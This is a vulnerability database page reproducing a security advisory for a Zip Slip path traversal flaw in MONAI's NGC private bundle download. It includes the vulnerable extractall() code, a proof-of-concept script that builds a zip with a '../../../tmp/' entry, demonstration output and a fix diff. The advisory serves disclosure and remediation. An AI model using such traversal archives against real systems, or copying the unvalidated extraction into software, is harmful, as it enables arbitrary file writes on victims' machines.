GHSA-9RG3-9PVR-6P27
Vulnerability from github – Published: 2026-01-06 17:32 – Updated: 2026-01-08 20:07Summary
A Path Traversal (Zip Slip) vulnerability exists in MONAI's _download_from_ngc_private() function. The function uses zipfile.ZipFile.extractall() without path validation, while other similar download functions in the same codebase properly use the existing safe_extract_member() function.
This appears to be an implementation oversight, as safe extraction is already implemented and used elsewhere in MONAI.
CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
Details
Vulnerable Code Location
File: monai/bundle/scripts.py
Lines: 291-292
Function: _download_from_ngc_private()
# monai/bundle/scripts.py - Lines 284-293
zip_path = download_path / f"{filename}_v{version}.zip"
with open(zip_path, "wb") as f:
f.write(response.content)
logger.info(f"Downloading: {zip_path}.")
if remove_prefix:
filename = _remove_ngc_prefix(filename, prefix=remove_prefix)
extract_path = download_path / f"{filename}"
with zipfile.ZipFile(zip_path, "r") as z:
z.extractall(extract_path) # <-- No path validation
logger.info(f"Writing into directory: {extract_path}.")
Root Cause
The code calls z.extractall(extract_path) directly without validating that archive member paths stay within the extraction directory.
Safe Code Already Exists
MONAI already has a safe extraction function in monai/apps/utils.py (lines 125-154) that properly validates paths:
def safe_extract_member(member, extract_to):
"""Securely verify compressed package member paths to prevent path traversal attacks"""
# ... path validation logic ...
if os.path.isabs(member_path) or ".." in member_path.split(os.sep):
raise ValueError(f"Unsafe path detected in archive: {member_path}")
# Ensure path stays within extraction root
if os.path.commonpath([extract_root, target_real]) != extract_root:
raise ValueError(f"Unsafe path: path traversal {member_path}")
Comparison with Other Download Functions
| Function | File | Uses Safe Extraction? |
|---|---|---|
_download_from_github() |
scripts.py:198 | ✅ Yes (via extractall() wrapper) |
_download_from_monaihosting() |
scripts.py:205 | ✅ Yes (via extractall() wrapper) |
_download_from_bundle_info() |
scripts.py:215 | ✅ Yes (via extractall() wrapper) |
_download_from_ngc_private() |
scripts.py:292 | ❌ No (direct z.extractall()) |
PoC
Step 1: Create a Malicious Zip File
#!/usr/bin/env python3
"""Create malicious zip with path traversal entries"""
import zipfile
import io
def create_malicious_zip(output_path="malicious_bundle.zip"):
zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
# Normal bundle file
zf.writestr(
"monai_test_bundle/configs/metadata.json",
'{"name": "test_bundle", "version": "1.0.0"}'
)
# Path traversal entry
zf.writestr(
"../../../tmp/escaped_file.txt",
"This file was written outside the extraction directory.\n"
)
with open(output_path, 'wb') as f:
f.write(zip_buffer.getvalue())
print(f"Created: {output_path}")
with zipfile.ZipFile(output_path, 'r') as zf:
print("Contents:")
for name in zf.namelist():
print(f" - {name}")
if __name__ == "__main__":
create_malicious_zip()
Output:
Created: malicious_bundle.zip
Contents:
- monai_test_bundle/configs/metadata.json
- ../../../tmp/escaped_file.txt
Step 2: Demonstrate the Difference
This script shows the difference between the vulnerable pattern (used in _download_from_ngc_private) and the safe pattern (used elsewhere in MONAI):
#!/usr/bin/env python3
"""Compare vulnerable vs safe extraction"""
import zipfile
import tempfile
import os
def vulnerable_extraction(zip_path, extract_path):
"""Pattern used in monai/bundle/scripts.py:291-292"""
os.makedirs(extract_path, exist_ok=True)
with zipfile.ZipFile(zip_path, "r") as z:
z.extractall(extract_path)
print("[VULNERABLE] Extraction completed without validation")
def safe_extraction(zip_path, extract_path):
"""Pattern used in monai/apps/utils.py"""
os.makedirs(extract_path, exist_ok=True)
with zipfile.ZipFile(zip_path, "r") as zf:
for member in zf.infolist():
member_path = os.path.normpath(member.filename)
# Check for path traversal
if os.path.isabs(member_path) or ".." in member_path.split(os.sep):
print(f"[SAFE] BLOCKED: {member.filename}")
continue
print(f"[SAFE] Allowed: {member.filename}")
# Run demo
print("=" * 50)
print("VULNERABLE PATTERN (scripts.py:291-292)")
print("=" * 50)
with tempfile.TemporaryDirectory() as tmpdir:
vulnerable_extraction("malicious_bundle.zip", tmpdir)
for root, dirs, files in os.walk(tmpdir):
for f in files:
rel_path = os.path.relpath(os.path.join(root, f), tmpdir)
print(f" Extracted: {rel_path}")
print()
print("=" * 50)
print("SAFE PATTERN (apps/utils.py)")
print("=" * 50)
with tempfile.TemporaryDirectory() as tmpdir:
safe_extraction("malicious_bundle.zip", tmpdir)
Output:
==================================================
VULNERABLE PATTERN (scripts.py:291-292)
==================================================
[VULNERABLE] Extraction completed without validation
Extracted: monai_test_bundle/configs/metadata.json
Extracted: tmp/escaped_file.txt
==================================================
SAFE PATTERN (apps/utils.py)
==================================================
[SAFE] Allowed: monai_test_bundle/configs/metadata.json
[SAFE] BLOCKED: ../../../tmp/escaped_file.txt
Impact
Conditions Required for Exploitation
- Attacker must control or compromise an NGC private repository
- Victim must configure MONAI to download from that repository
- Victim must use
source="ngc_private"parameter
Potential Impact
If exploited, an attacker could write files outside the intended extraction directory. The actual impact depends on: - The permissions of the user running MONAI - The target location of the escaped files - Python version (newer versions have some built-in path normalization)
Mitigating Factors
- Requires attacker to control an NGC private repository
- Modern Python versions (3.12+) have some built-in path normalization
- The
ngc_privatesource is less commonly used than other sources
Recommended Fix
Replace the direct extractall() call with MONAI's existing safe extraction:
# monai/bundle/scripts.py
+ from monai.apps.utils import _extract_zip
def _download_from_ngc_private(...):
# ... existing code ...
extract_path = download_path / f"{filename}"
- with zipfile.ZipFile(zip_path, "r") as z:
- z.extractall(extract_path)
- logger.info(f"Writing into directory: {extract_path}.")
+ _extract_zip(zip_path, extract_path)
+ logger.info(f"Writing into directory: {extract_path}.")
This aligns _download_from_ngc_private() with the other download functions and ensures consistent security across all download sources.
Resources
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "monai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.5.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-21851"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-06T17:32:52Z",
"nvd_published_at": "2026-01-07T23:15:50Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nA **Path Traversal (Zip Slip)** vulnerability exists in MONAI\u0027s `_download_from_ngc_private()` function. The function uses `zipfile.ZipFile.extractall()` without path validation, while other similar download functions in the same codebase properly use the existing `safe_extract_member()` function.\n\nThis appears to be an implementation oversight, as safe extraction is already implemented and used elsewhere in MONAI.\n\n**CWE:** CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)\n\n---\n\n## Details\n\n### Vulnerable Code Location\n\n**File:** `monai/bundle/scripts.py` \n**Lines:** 291-292 \n**Function:** `_download_from_ngc_private()`\n\n```python\n# monai/bundle/scripts.py - Lines 284-293\nzip_path = download_path / f\"{filename}_v{version}.zip\"\nwith open(zip_path, \"wb\") as f:\n f.write(response.content)\nlogger.info(f\"Downloading: {zip_path}.\")\nif remove_prefix:\n filename = _remove_ngc_prefix(filename, prefix=remove_prefix)\nextract_path = download_path / f\"{filename}\"\nwith zipfile.ZipFile(zip_path, \"r\") as z:\n z.extractall(extract_path) # \u003c-- No path validation\n logger.info(f\"Writing into directory: {extract_path}.\")\n```\n\n### Root Cause\n\nThe code calls `z.extractall(extract_path)` directly without validating that archive member paths stay within the extraction directory.\n\n### Safe Code Already Exists\n\nMONAI already has a safe extraction function in `monai/apps/utils.py` (lines 125-154) that properly validates paths:\n\n```python\ndef safe_extract_member(member, extract_to):\n \"\"\"Securely verify compressed package member paths to prevent path traversal attacks\"\"\"\n # ... path validation logic ...\n \n if os.path.isabs(member_path) or \"..\" in member_path.split(os.sep):\n raise ValueError(f\"Unsafe path detected in archive: {member_path}\")\n \n # Ensure path stays within extraction root\n if os.path.commonpath([extract_root, target_real]) != extract_root:\n raise ValueError(f\"Unsafe path: path traversal {member_path}\")\n```\n\n### Comparison with Other Download Functions\n\n| Function | File | Uses Safe Extraction? |\n|----------|------|----------------------|\n| `_download_from_github()` | scripts.py:198 | \u2705 Yes (via `extractall()` wrapper) |\n| `_download_from_monaihosting()` | scripts.py:205 | \u2705 Yes (via `extractall()` wrapper) |\n| `_download_from_bundle_info()` | scripts.py:215 | \u2705 Yes (via `extractall()` wrapper) |\n| `_download_from_ngc_private()` | scripts.py:292 | \u274c No (direct `z.extractall()`) |\n\n---\n\n## PoC\n\n### Step 1: Create a Malicious Zip File\n\n```python\n#!/usr/bin/env python3\n\"\"\"Create malicious zip with path traversal entries\"\"\"\nimport zipfile\nimport io\n\ndef create_malicious_zip(output_path=\"malicious_bundle.zip\"):\n zip_buffer = io.BytesIO()\n \n with zipfile.ZipFile(zip_buffer, \u0027w\u0027, zipfile.ZIP_DEFLATED) as zf:\n # Normal bundle file\n zf.writestr(\n \"monai_test_bundle/configs/metadata.json\",\n \u0027{\"name\": \"test_bundle\", \"version\": \"1.0.0\"}\u0027\n )\n \n # Path traversal entry\n zf.writestr(\n \"../../../tmp/escaped_file.txt\",\n \"This file was written outside the extraction directory.\\n\"\n )\n \n with open(output_path, \u0027wb\u0027) as f:\n f.write(zip_buffer.getvalue())\n \n print(f\"Created: {output_path}\")\n with zipfile.ZipFile(output_path, \u0027r\u0027) as zf:\n print(\"Contents:\")\n for name in zf.namelist():\n print(f\" - {name}\")\n\nif __name__ == \"__main__\":\n create_malicious_zip()\n```\n\n**Output:**\n```\nCreated: malicious_bundle.zip\nContents:\n - monai_test_bundle/configs/metadata.json\n - ../../../tmp/escaped_file.txt\n```\n\n### Step 2: Demonstrate the Difference\n\nThis script shows the difference between the vulnerable pattern (used in `_download_from_ngc_private`) and the safe pattern (used elsewhere in MONAI):\n\n```python\n#!/usr/bin/env python3\n\"\"\"Compare vulnerable vs safe extraction\"\"\"\nimport zipfile\nimport tempfile\nimport os\n\ndef vulnerable_extraction(zip_path, extract_path):\n \"\"\"Pattern used in monai/bundle/scripts.py:291-292\"\"\"\n os.makedirs(extract_path, exist_ok=True)\n with zipfile.ZipFile(zip_path, \"r\") as z:\n z.extractall(extract_path)\n print(\"[VULNERABLE] Extraction completed without validation\")\n\ndef safe_extraction(zip_path, extract_path):\n \"\"\"Pattern used in monai/apps/utils.py\"\"\"\n os.makedirs(extract_path, exist_ok=True)\n with zipfile.ZipFile(zip_path, \"r\") as zf:\n for member in zf.infolist():\n member_path = os.path.normpath(member.filename)\n \n # Check for path traversal\n if os.path.isabs(member_path) or \"..\" in member_path.split(os.sep):\n print(f\"[SAFE] BLOCKED: {member.filename}\")\n continue\n \n print(f\"[SAFE] Allowed: {member.filename}\")\n\n# Run demo\nprint(\"=\" * 50)\nprint(\"VULNERABLE PATTERN (scripts.py:291-292)\")\nprint(\"=\" * 50)\nwith tempfile.TemporaryDirectory() as tmpdir:\n vulnerable_extraction(\"malicious_bundle.zip\", tmpdir)\n for root, dirs, files in os.walk(tmpdir):\n for f in files:\n rel_path = os.path.relpath(os.path.join(root, f), tmpdir)\n print(f\" Extracted: {rel_path}\")\n\nprint()\nprint(\"=\" * 50)\nprint(\"SAFE PATTERN (apps/utils.py)\")\nprint(\"=\" * 50)\nwith tempfile.TemporaryDirectory() as tmpdir:\n safe_extraction(\"malicious_bundle.zip\", tmpdir)\n```\n\n**Output:**\n```\n==================================================\nVULNERABLE PATTERN (scripts.py:291-292)\n==================================================\n[VULNERABLE] Extraction completed without validation\n Extracted: monai_test_bundle/configs/metadata.json\n Extracted: tmp/escaped_file.txt\n\n==================================================\nSAFE PATTERN (apps/utils.py)\n==================================================\n[SAFE] Allowed: monai_test_bundle/configs/metadata.json\n[SAFE] BLOCKED: ../../../tmp/escaped_file.txt\n```\n\n---\n\n## Impact\n\n### Conditions Required for Exploitation\n\n1. Attacker must control or compromise an NGC private repository\n2. Victim must configure MONAI to download from that repository\n3. Victim must use `source=\"ngc_private\"` parameter\n\n### Potential Impact\n\nIf exploited, an attacker could write files outside the intended extraction directory. The actual impact depends on:\n- The permissions of the user running MONAI\n- The target location of the escaped files\n- Python version (newer versions have some built-in path normalization)\n\n### Mitigating Factors\n\n- Requires attacker to control an NGC private repository\n- Modern Python versions (3.12+) have some built-in path normalization\n- The `ngc_private` source is less commonly used than other sources\n\n---\n\n## Recommended Fix\n\nReplace the direct `extractall()` call with MONAI\u0027s existing safe extraction:\n\n```diff\n# monai/bundle/scripts.py\n\n+ from monai.apps.utils import _extract_zip\n\ndef _download_from_ngc_private(...):\n # ... existing code ...\n \n extract_path = download_path / f\"{filename}\"\n- with zipfile.ZipFile(zip_path, \"r\") as z:\n- z.extractall(extract_path)\n- logger.info(f\"Writing into directory: {extract_path}.\")\n+ _extract_zip(zip_path, extract_path)\n+ logger.info(f\"Writing into directory: {extract_path}.\")\n```\n\nThis aligns `_download_from_ngc_private()` with the other download functions and ensures consistent security across all download sources.\n\n---\n\n## Resources\n\n- [CWE-22: Improper Limitation of a Pathname to a Restricted Directory](https://cwe.mitre.org/data/definitions/22.html)\n- [Snyk: Zip Slip Vulnerability](https://security.snyk.io/research/zip-slip-vulnerability)\n- [Python zipfile.extractall() Warning](https://docs.python.org/3/library/zipfile.html#zipfile.ZipFile.extractall)",
"id": "GHSA-9rg3-9pvr-6p27",
"modified": "2026-01-08T20:07:38Z",
"published": "2026-01-06T17:32:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-9rg3-9pvr-6p27"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21851"
},
{
"type": "WEB",
"url": "https://github.com/Project-MONAI/MONAI/commit/4014c8475626f20f158921ae0cf98ed259ae4d59"
},
{
"type": "PACKAGE",
"url": "https://github.com/Project-MONAI/MONAI"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "MONAI has Path Traversal (Zip Slip) in NGC Private Bundle Download"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.